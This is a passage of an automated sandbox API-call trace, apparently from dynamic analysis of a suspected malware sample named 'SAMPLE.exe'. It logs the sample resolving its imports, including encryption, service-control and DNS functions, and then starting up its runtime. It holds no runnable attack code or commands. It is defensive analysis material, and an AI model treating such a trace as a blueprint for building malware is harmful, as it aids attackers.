[0031.875] GetProcAddress (hModule=0x76c20000, lpProcName="GlobalFree") returned 0x76c35558 [0031.875] GetProcAddress (hModule=0x76c20000, lpProcName="GetVersion") returned 0x76c34467 [0031.875] GetProcAddress (hModule=0x76c20000, lpProcName="CreateDirectoryA") returned 0x76c5d526 [0031.875] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThread") returned 0x76c334d5 [0031.875] GetProcAddress (hModule=0x76c20000, lpProcName="TlsSetValue") returned 0x76c314fb [0031.875] GetProcAddress (hModule=0x76c20000, lpProcName="TlsGetValue") returned 0x76c311e0 [0031.875] GetProcAddress (hModule=0x76c20000, lpProcName="TlsAlloc") returned 0x76c349ad [0031.875] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76c31916 [0031.875] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0031.875] GetProcAddress (hModule=0x76c20000, lpProcName="UnhandledExceptionFilter") returned 0x76c5772f [0031.875] GetProcAddress (hModule=0x76c20000, lpProcName="FreeEnvironmentStringsW") returned 0x76c351cb [0031.875] GetProcAddress (hModule=0x76c20000, lpProcName="GetEnvironmentStringsW") returned 0x76c351e3 [0031.875] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessId") returned 0x76c311f8 [0031.876] GetProcAddress (hModule=0x76c20000, lpProcName="QueryPerformanceCounter") returned 0x76c31725 [0031.876] GetProcAddress (hModule=0x76c20000, lpProcName="GetStartupInfoW") returned 0x76c34d40 [0031.876] GetProcAddress (hModule=0x76c20000, lpProcName="DeleteCriticalSection") returned 0x771645f5 [0031.876] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeZoneInformation") returned 0x76c3465a [0031.876] GetProcAddress (hModule=0x76c20000, lpProcName="RaiseException") returned 0x76c358a6 [0031.876] GetProcAddress (hModule=0x76c20000, lpProcName="GetStringTypeW") returned 0x76c31946 [0031.876] GetProcAddress (hModule=0x76c20000, lpProcName="HeapSize") returned 0x77163002 [0031.876] GetProcAddress (hModule=0x76c20000, lpProcName="LoadLibraryExW") returned 0x76c3495d [0031.876] GetProcAddress (hModule=0x76c20000, lpProcName="HeapAlloc") returned 0x7715e026 [0031.876] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoW") returned 0x76c33c42 [0031.876] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocale") returned 0x76c4ce46 [0031.876] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLCID") returned 0x76c33da5 [0031.876] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesW") returned 0x76cb425f [0031.877] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatW") returned 0x76c534d7 [0031.877] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatW") returned 0x76c4f481 [0031.877] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringW") returned 0x76c33bca [0031.877] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringW") returned 0x76c317b9 [0031.877] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleCP") returned 0x76cd7bff [0031.877] GetProcAddress (hModule=0x76c20000, lpProcName="GetConsoleMode") returned 0x76c31328 [0031.877] GetProcAddress (hModule=0x76c20000, lpProcName="HeapReAlloc") returned 0x77171f6e [0031.877] GetProcAddress (hModule=0x76c20000, lpProcName="SetStdHandle") returned 0x76cb454f [0031.877] GetProcAddress (hModule=0x76c20000, lpProcName="SetEndOfFile") returned 0x76c4ce2e [0031.877] GetProcAddress (hModule=0x76c20000, lpProcName="GetStdHandle") returned 0x76c351b3 [0031.877] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileType") returned 0x76c33531 [0031.877] GetProcAddress (hModule=0x76c20000, lpProcName="GetModuleHandleExW") returned 0x76c34a6f [0031.877] GetProcAddress (hModule=0x76c20000, lpProcName="WriteConsoleW") returned 0x76c57aca [0031.877] GetProcAddress (hModule=0x76c20000, lpProcName="ReadConsoleW") returned 0x76cd739a [0031.878] GetProcAddress (hModule=0x76c20000, lpProcName="OutputDebugStringW") returned 0x76c5d1d4 [0031.878] GetProcAddress (hModule=0x76c20000, lpProcName="SetConsoleCtrlHandler") returned 0x76c38a09 [0031.878] GetProcAddress (hModule=0x76c20000, lpProcName="RtlUnwind") returned 0x76c5d1c3 [0031.878] GetProcAddress (hModule=0x76c20000, lpProcName="LeaveCriticalSection") returned 0x77152270 [0031.878] GetProcAddress (hModule=0x76c20000, lpProcName="EnterCriticalSection") returned 0x771522b0 [0031.878] GetProcAddress (hModule=0x76c20000, lpProcName="AreFileApisANSI") returned 0x76cb40d1 [0031.878] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0031.878] GetProcAddress (hModule=0x76c20000, lpProcName="GetProcessHeap") returned 0x76c314e9 [0031.878] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThreadId") returned 0x76c31450 [0031.878] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentThread") returned 0x76c317ec [0031.878] GetProcAddress (hModule=0x76c20000, lpProcName="GetCPInfo") returned 0x76c35189 [0031.878] GetProcAddress (hModule=0x76c20000, lpProcName="HeapFree") returned 0x76c314c9 [0031.878] GetProcAddress (hModule=0x76c20000, lpProcName="SetEnvironmentVariableA") returned 0x76c3e331 [0031.878] GetProcAddress (hModule=0x76c20000, lpProcName="EncodePointer") returned 0x77170fcb [0031.879] GetProcAddress (hModule=0x76c20000, lpProcName="DecodePointer") returned 0x77169d35 [0031.879] GetProcAddress (hModule=0x76c20000, lpProcName="GetSystemTimeAsFileTime") returned 0x76c33509 [0031.879] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcess") returned 0x76c31809 [0031.879] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreW") returned 0x76c4ca5a [0031.879] GetProcAddress (hModule=0x76c20000, lpProcName="GetOEMCP") returned 0x76c5d1a1 [0031.879] GetProcAddress (hModule=0x76c20000, lpProcName="GetACP") returned 0x76c3179c [0031.879] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidCodePage") returned 0x76c34493 [0031.879] GetProcAddress (hModule=0x76c20000, lpProcName="IsProcessorFeaturePresent") returned 0x76c35235 [0031.879] GetProcAddress (hModule=0x76c20000, lpProcName="FindNextFileW") returned 0x76c354ee [0031.879] GetProcAddress (hModule=0x76c20000, lpProcName="IsDebuggerPresent") returned 0x76c34a5d [0031.879] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x74f40000 [0031.879] GetProcAddress (hModule=0x74f40000, lpProcName="LoadCursorW") returned 0x74f588f7 [0031.879] GetProcAddress (hModule=0x74f40000, lpProcName="TranslateMessage") returned 0x74f57809 [0031.880] GetProcAddress (hModule=0x74f40000, lpProcName="RegisterClassExW") returned 0x74f5b17d [0031.880] GetProcAddress (hModule=0x74f40000, lpProcName="ShowWindow") returned 0x74f60dfb [0031.880] GetProcAddress (hModule=0x74f40000, lpProcName="IsWindow") returned 0x74f57136 [0031.880] GetProcAddress (hModule=0x74f40000, lpProcName="CreateWindowExW") returned 0x74f58a29 [0031.880] GetProcAddress (hModule=0x74f40000, lpProcName="UpdateWindow") returned 0x74f63559 [0031.880] GetProcAddress (hModule=0x74f40000, lpProcName="DefWindowProcW") returned 0x771625dd [0031.880] GetProcAddress (hModule=0x74f40000, lpProcName="PeekMessageW") returned 0x74f605ba [0031.880] GetProcAddress (hModule=0x74f40000, lpProcName="PostThreadMessageW") returned 0x74f58bff [0031.880] GetProcAddress (hModule=0x74f40000, lpProcName="MessageBoxW") returned 0x74fafd3f [0031.880] GetProcAddress (hModule=0x74f40000, lpProcName="DispatchMessageW") returned 0x74f5787b [0031.880] GetProcAddress (hModule=0x74f40000, lpProcName="PostQuitMessage") returned 0x74f59abb [0031.880] GetProcAddress (hModule=0x74f40000, lpProcName="DestroyWindow") returned 0x74f59a55 [0031.880] GetProcAddress (hModule=0x74f40000, lpProcName="SendMessageW") returned 0x74f59679 [0031.880] GetProcAddress (hModule=0x74f40000, lpProcName="GetMessageW") returned 0x74f578e2 [0031.881] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74d40000 [0031.881] GetProcAddress (hModule=0x74d40000, lpProcName="CryptGetHashParam") returned 0x74d4df7e [0031.881] GetProcAddress (hModule=0x74d40000, lpProcName="CryptAcquireContextW") returned 0x74d4df14 [0031.881] GetProcAddress (hModule=0x74d40000, lpProcName="OpenSCManagerW") returned 0x74d4ca64 [0031.881] GetProcAddress (hModule=0x74d40000, lpProcName="OpenServiceW") returned 0x74d4ca4c [0031.881] GetProcAddress (hModule=0x74d40000, lpProcName="CryptReleaseContext") returned 0x74d4e124 [0031.881] GetProcAddress (hModule=0x74d40000, lpProcName="GetUserNameW") returned 0x74d5157a [0031.881] GetProcAddress (hModule=0x74d40000, lpProcName="CryptHashData") returned 0x74d4df36 [0031.881] GetProcAddress (hModule=0x74d40000, lpProcName="RegSetValueExW") returned 0x74d514d6 [0031.881] GetProcAddress (hModule=0x74d40000, lpProcName="RegCloseKey") returned 0x74d5469d [0031.881] GetProcAddress (hModule=0x74d40000, lpProcName="CryptDestroyHash") returned 0x74d4df66 [0031.881] GetProcAddress (hModule=0x74d40000, lpProcName="ControlService") returned 0x74d67144 [0031.881] GetProcAddress (hModule=0x74d40000, lpProcName="RegOpenKeyExW") returned 0x74d5468d [0031.882] GetProcAddress (hModule=0x74d40000, lpProcName="CryptCreateHash") returned 0x74d4df4e [0031.882] GetProcAddress (hModule=0x74d40000, lpProcName="CryptEncrypt") returned 0x74d6779b [0031.882] GetProcAddress (hModule=0x74d40000, lpProcName="CryptImportKey") returned 0x74d4c532 [0031.882] GetProcAddress (hModule=0x74d40000, lpProcName="QueryServiceStatus") returned 0x74d52a86 [0031.882] GetProcAddress (hModule=0x74d40000, lpProcName="RegQueryValueExW") returned 0x74d546ad [0031.882] GetProcAddress (hModule=0x74d40000, lpProcName="CloseServiceHandle") returned 0x74d5369c [0031.882] LoadLibraryA (lpLibFileName="SHELL32.dll") returned 0x75fd0000 [0033.456] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetPathFromIDListW") returned 0x760617bf [0033.456] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetSpecialFolderLocation") returned 0x7605e141 [0033.456] GetProcAddress (hModule=0x75fd0000, lpProcName="CommandLineToArgvW") returned 0x75fe9ee8 [0033.456] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteA") returned 0x76217078 [0033.456] GetProcAddress (hModule=0x75fd0000, lpProcName="ShellExecuteExW") returned 0x75ff1e46 [0033.456] LoadLibraryA (lpLibFileName="ole32.dll") returned 0x755e0000 [0033.456] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitialize") returned 0x755fb636 [0033.456] GetProcAddress (hModule=0x755e0000, lpProcName="CoInitializeSecurity") returned 0x75607259 [0033.456] GetProcAddress (hModule=0x755e0000, lpProcName="CoUninitialize") returned 0x756286d3 [0033.457] GetProcAddress (hModule=0x755e0000, lpProcName="CoCreateInstance") returned 0x75629d0b [0033.457] LoadLibraryA (lpLibFileName="OLEAUT32.dll") returned 0x75220000 [0033.457] GetProcAddress (hModule=0x75220000, lpProcName=0xca) returned 0x7522fd6b [0033.457] GetProcAddress (hModule=0x75220000, lpProcName=0x2) returned 0x75224642 [0033.457] GetProcAddress (hModule=0x75220000, lpProcName=0x9) returned 0x75223eae [0033.457] GetProcAddress (hModule=0x75220000, lpProcName=0x8) returned 0x75223ed5 [0033.457] GetProcAddress (hModule=0x75220000, lpProcName=0x6) returned 0x75223e59 [0033.457] GetProcAddress (hModule=0x75220000, lpProcName=0xc8) returned 0x75223f21 [0033.458] GetProcAddress (hModule=0x75220000, lpProcName=0xc) returned 0x75225dee [0033.458] GetProcAddress (hModule=0x75220000, lpProcName=0xc9) returned 0x75224af8 [0033.458] LoadLibraryA (lpLibFileName="IPHLPAPI.DLL") returned 0x74a30000 [0033.633] GetProcAddress (hModule=0x74a30000, lpProcName="GetAdaptersInfo") returned 0x74a39263 [0033.634] LoadLibraryA (lpLibFileName="WS2_32.dll") returned 0x75bc0000 [0033.806] GetProcAddress (hModule=0x75bc0000, lpProcName=0xc) returned 0x75bcb131 [0033.806] GetProcAddress (hModule=0x75bc0000, lpProcName=0xb) returned 0x75bc311b [0033.807] GetProcAddress (hModule=0x75bc0000, lpProcName=0x34) returned 0x75bd7673 [0033.807] LoadLibraryA (lpLibFileName="DNSAPI.dll") returned 0x749d0000 [0033.944] GetProcAddress (hModule=0x749d0000, lpProcName="DnsQuery_W") returned 0x749e572c [0033.944] GetProcAddress (hModule=0x749d0000, lpProcName="DnsFree") returned 0x749d436b [0033.944] LoadLibraryA (lpLibFileName="CRYPT32.dll") returned 0x759b0000 [0033.944] GetProcAddress (hModule=0x759b0000, lpProcName="CryptStringToBinaryA") returned 0x759e5d77 [0033.944] LoadLibraryA (lpLibFileName="msvcr100.dll") returned 0x74910000 [0034.108] GetProcAddress (hModule=0x74910000, lpProcName="atexit") returned 0x7492c544 [0034.108] atexit (param_1=0xd4cc0a) returned 0 [0034.109] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x18fe48 | out: lpSystemTimeAsFileTime=0x18fe48*(dwLowDateTime=0x380ec300, dwHighDateTime=0x1d53dff)) [0034.109] GetCurrentThreadId () returned 0x8d8 [0034.109] GetCurrentProcessId () returned 0x8d4 [0034.109] QueryPerformanceCounter (in: lpPerformanceCount=0x18fe40 | out: lpPerformanceCount=0x18fe40*=15433291160) returned 1 [0034.109] GetStartupInfoW (in: lpStartupInfo=0x18fdd8 | out: lpStartupInfo=0x18fdd8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x76c33519, hStdOutput=0x7714fd35, hStdError=0x771b7daf)) [0034.109] GetProcessHeap () returned 0xcf0000 [0034.109] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0034.109] GetProcAddress (hModule=0x76c20000, lpProcName="FlsAlloc") returned 0x76c34f2b [0034.109] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0034.109] GetProcAddress (hModule=0x76c20000, lpProcName="FlsGetValue") returned 0x76c31252 [0034.110] GetProcAddress (hModule=0x76c20000, lpProcName="FlsSetValue") returned 0x76c34208 [0034.110] GetProcAddress (hModule=0x76c20000, lpProcName="InitializeCriticalSectionEx") returned 0x76c34d28 [0034.110] GetProcAddress (hModule=0x76c20000, lpProcName="CreateEventExW") returned 0x76cb410b [0034.110] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSemaphoreExW") returned 0x76cb4195 [0034.110] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadStackGuarantee") returned 0x76c3d31f [0034.110] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolTimer") returned 0x76c4ee7e [0034.110] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolTimer") returned 0x7717441c [0034.110] GetProcAddress (hModule=0x76c20000, lpProcName="WaitForThreadpoolTimerCallbacks") returned 0x7719c50e [0034.110] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolTimer") returned 0x7719c381 [0034.110] GetProcAddress (hModule=0x76c20000, lpProcName="CreateThreadpoolWait") returned 0x76c4f088 [0034.110] GetProcAddress (hModule=0x76c20000, lpProcName="SetThreadpoolWait") returned 0x771805d7 [0034.110] GetProcAddress (hModule=0x76c20000, lpProcName="CloseThreadpoolWait") returned 0x7719ca24 [0034.111] GetProcAddress (hModule=0x76c20000, lpProcName="FlushProcessWriteBuffers") returned 0x77150b8c [0034.111] GetProcAddress (hModule=0x76c20000, lpProcName="FreeLibraryWhenCallbackReturns") returned 0x7720fde8 [0034.111] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentProcessorNumber") returned 0x771a1e1d [0034.111] GetProcAddress (hModule=0x76c20000, lpProcName="GetLogicalProcessorInformation") returned 0x76cb4761 [0034.111] GetProcAddress (hModule=0x76c20000, lpProcName="CreateSymbolicLinkW") returned 0x76cacd11 [0034.111] GetProcAddress (hModule=0x76c20000, lpProcName="SetDefaultDllDirectories") returned 0x0 [0034.111] GetProcAddress (hModule=0x76c20000, lpProcName="EnumSystemLocalesEx") returned 0x76cb424f [0034.111] GetProcAddress (hModule=0x76c20000, lpProcName="CompareStringEx") returned 0x76cb46b1 [0034.111] GetProcAddress (hModule=0x76c20000, lpProcName="GetDateFormatEx") returned 0x76cc6676 [0034.111] GetProcAddress (hModule=0x76c20000, lpProcName="GetLocaleInfoEx") returned 0x76cb4751 [0034.111] GetProcAddress (hModule=0x76c20000, lpProcName="GetTimeFormatEx") returned 0x76cc65f1 [0034.111] GetProcAddress (hModule=0x76c20000, lpProcName="GetUserDefaultLocaleName") returned 0x76cb47c1 [0034.112] GetProcAddress (hModule=0x76c20000, lpProcName="IsValidLocaleName") returned 0x76cb47e1 [0034.112] GetProcAddress (hModule=0x76c20000, lpProcName="LCMapStringEx") returned 0x76cb47f1 [0034.112] GetProcAddress (hModule=0x76c20000, lpProcName="GetCurrentPackageId") returned 0x0 [0034.112] GetProcAddress (hModule=0x76c20000, lpProcName="GetTickCount64") returned 0x76c4eee0 [0034.112] GetProcAddress (hModule=0x76c20000, lpProcName="GetFileInformationByHandleExW") returned 0x0 [0034.112] GetProcAddress (hModule=0x76c20000, lpProcName="SetFileInformationByHandleW") returned 0x0 [0034.112] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x3bc) returned 0xd9e448 [0034.113] GetCurrentThreadId () returned 0x8d8 [0034.113] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x18) returned 0xd06050 [0034.113] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x800) returned 0xd9e810 [0034.114] GetStartupInfoW (in: lpStartupInfo=0x18fda8 | out: lpStartupInfo=0x18fda8*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x41a838, hStdOutput=0xae3eab34, hStdError=0x0)) [0034.114] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0034.114] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0034.114] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0034.114] GetCommandLineW () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe\" " [0034.114] GetEnvironmentStringsW () returned 0xd9f018* [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xaca) returned 0xd9faf0 [0034.114] FreeEnvironmentStringsW (penv=0xd9f018) returned 1 [0034.114] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x45d598, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LS_APPDATA744de46e-2913-4f69-a0ea-d12dff2a5c90SAMPLE.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ls_appdata744de46e-2913-4f69-a0ea-d12dff2a5c90sample.exe")) returned 0x5e [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0xc6) returned 0xda05c8 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x98) returned 0xda0698 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x3e) returned 0xd068c0 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x6c) returned 0xda0738 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x6e) returned 0xda07b0 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x78) returned 0xd01b00 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x62) returned 0xda0828 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x2e) returned 0xd9aaf0 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x48) returned 0xd96740 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x28) returned 0xd9a3b8 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x1a) returned 0xd9e1c0 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x4a) returned 0xda0898 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x72) returned 0xd01b80 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x30) returned 0xd9ab28 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x2e) returned 0xd9ab60 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x1c) returned 0xd9e1e8 [0034.114] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0xd2) returned 0xda08f0 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x7c) returned 0xda09d0 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x36) returned 0xda0a58 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x3a) returned 0xd06908 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x90) returned 0xda0a98 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x24) returned 0xd9a3e8 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x30) returned 0xd9ab98 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x36) returned 0xda0b30 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x48) returned 0xd96790 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x52) returned 0xda0b70 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x3c) returned 0xd06950 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x82) returned 0xda0bd0 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x2e) returned 0xd9abd0 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x1e) returned 0xd9f030 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x2c) returned 0xd9ac08 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x54) returned 0xd9f818 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x52) returned 0xd9f878 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x2a) returned 0xd9ac40 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x3c) returned 0xd06998 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x54) returned 0xda0c78 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x24) returned 0xd9a418 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x30) returned 0xd9ac78 [0034.115] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x8c) returned 0xd9f8d8 [0034.115] HeapFree (in: hHeap=0xcf0000, dwFlags=0x0, lpMem=0xd9faf0 | out: hHeap=0xcf0000) returned 1 [0034.116] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x8, Size=0x80) returned 0xda1c60 [0034.116] GetLastError () returned 0x0 [0034.116] SetLastError (dwErrCode=0x0) [0034.116] GetLastError () returned 0x0 [0034.116] SetLastError (dwErrCode=0x0) [0034.116] GetLastError () returned 0x0 [0034.116] SetLastError (dwErrCode=0x0) [0034.116] GetACP () returned 0x4e4 [0034.116] RtlAllocateHeap (HeapHandle=0xcf0000, Flags=0x0, Size=0x220) returned 0xd906a0 [0034.116] GetLastError () returned 0x0 [0034.116] SetLastError (dwErrCode=0x0) [0034.116] IsValidCodePage (CodePage=0x4e4) returned 1 [0034.116] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fd9c | out: lpCPInfo=0x18fd9c) returned 1 [0034.116] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f864 | out: lpCPInfo=0x18f864) returned 1 [0034.116] GetLastError () returned 0x0 [0034.116] SetLastError (dwErrCode=0x0) [0034.116] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.116] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x18f5e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0034.116] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f878 | out: lpCharType=0x18f878) returned 1 [0034.116] GetLastError () returned 0x0 [0034.116] SetLastError (dwErrCode=0x0) [0034.116] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0034.116] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fc78, cbMultiByte=256, lpWideCharStr=0x18f5b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0034.117] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ 